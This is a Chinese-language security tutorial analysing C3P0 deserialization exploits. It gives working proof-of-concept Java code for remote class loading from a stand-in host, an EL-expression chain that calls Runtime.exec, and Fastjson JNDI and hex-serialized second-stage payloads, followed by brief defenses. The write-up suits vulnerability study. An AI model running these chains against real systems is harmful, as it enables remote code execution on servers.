Java安全-C3P0
字数 1636 2025-08-29 08:30:36
Java安全-C3P0反序列化漏洞分析与利用
1. C3P0简介
C3P0是一个用于创建和管理数据库连接的开源JDBC连接池库,主要功能包括:
- 连接池管理
- 连接数控制
- 连接可靠性测试
- 连接泄露控制
- 缓存语句功能
2. 原生反序列化利用 - 远程加载类
2.1 利用链分析
关键类:PoolBackedDataSourceBase
- 实现了
IdentityTokenized接口,用于支持注册功能 - 每个DataSource实例都有一个
identityToken用于在C3P0Registry中注册 - 持有
PropertyChangeSupport和VetoableChangeSupport对象
序列化机制:
- 序列化时需要存储
connectionPoolDataSource属性 - 如果该属性不可序列化,会使用
ReferenceIndirector.indirectForm方法- 调用
Referenceable对象的getReference方法获取Reference对象 - 生成可序列化的
IndirectlySerialized对象(ReferenceSerialized)
- 调用
反序列化时:
- 如果是
IndirectlySerialized对象,会调用getObject方法重新生成connectionPoolDataSource对象
2.2 关键利用点
ReferenceableUtils.referenceToObject方法:
public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException {
// ...
URL u = new URL(fClassLocation);
cl = new URLClassLoader(new URL[] { u }, defaultClassLoader);
Class fClass = Class.forName(fClassName, true, cl);
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance(ref, name, nameCtx, env);
}
2.3 Payload构造
需要创建一个实现了Referenceable和ConnectionPoolDataSource接口但不实现Serializable的类:
private static class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
protected String classFactory;
protected String classFactoryLocation;
public ConnectionPool(String classFactory, String classFactoryLocation) {
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("ref", classFactory, classFactoryLocation);
}
// 其他方法实现...
}
完整利用代码:
public class c3p0SerDemo {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("Evil", "http://127.0.0.1:8888/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
}
}
3. 不出网利用
3.1 利用原理
利用org.apache.naming.factory.BeanFactory类的getObjectInstance方法:
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
// 加载类...
Object bean = beanClass.getConstructor().newInstance();
// 处理forceString属性
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
if (ra != null) {
String value = (String) ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
// 解析forceString配置...
}
// 反射调用方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
// 过滤特定属性...
value = (String) ra.getContent();
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
}
return bean;
} catch (Exception e) {
// 异常处理...
}
}
return null;
}
3.2 利用javax.el.ELProcessor
Demo代码:
public class c3p0UnserDemo {
public static void main(String[] args) throws Exception {
RefAddr forceStringAddr = new StringRefAddr("forceString", "x=eval");
RefAddr xStringAddr = new StringRefAddr("x",
"''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
Reference ref = new ResourceRef("javax.el.ELProcessor", null, null, null, false);
ref.add(forceStringAddr);
ref.add(xStringAddr);
ObjectFactory beanFactory = new BeanFactory();
beanFactory.getObjectInstance(ref, null, null, null);
}
}
3.3 反序列化构造
修改getReference方法:
@Override
public Reference getReference() throws NamingException {
RefAddr forceStringAddr = new StringRefAddr("forceString", "x=eval");
RefAddr xStringAddr = new StringRefAddr("x",
"''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
Reference ref = new ResourceRef("javax.el.ELProcessor", null, null, null, false, classFactory, classFactoryLocation);
ref.add(forceStringAddr);
ref.add(xStringAddr);
return ref;
}
4. Fastjson中的利用
4.1 JNDI注入
利用类:com.mchange.v2.c3p0.JndiRefForwardingDataSource
关键点:
- 设置
jndiName属性 - 设置
loginTimeout属性触发inner()方法调用
4.2 二次反序列化
4.2.1 关键类与机制
VetoableChangeListener:监听器接口,当受约束属性改变时调用vetoableChange方法VetoableChangeSupport:管理监听器列表,发送PropertyChangeEventPropertyChangeEvent:存储Bean属性名和新旧值
4.2.2 利用链分析
关键类:WrapperConnectionPoolDataSource
初始化时调用setUpPropertyListeners方法设置属性监听:
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
// 处理connectionTesterClassName...
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides =
C3P0ImplUtils.parseUserOverridesAsString((String) val);
} catch (Exception e) {
throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
C3P0ImplUtils.parseUserOverridesAsString处理流程:
- 截取
HexAsciiSerializedMap:后的hex字符串 - 解码hex字符串
- 反序列化解码后的数据
4.2.3 利用方式
通过设置userOverridesAsString属性触发反序列化:
// 构造形如 HexAsciiSerializedMap:hex_code; 的字符串
String payload = "HexAsciiSerializedMap:aced...;";
wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);
5. 防御措施
- 升级C3P0到最新版本
- 限制反序列化操作,使用白名单控制可反序列化的类
- 配置Java安全策略,限制URLClassLoader加载远程代码
- 在JDK高版本中利用
trustCodebaseURL限制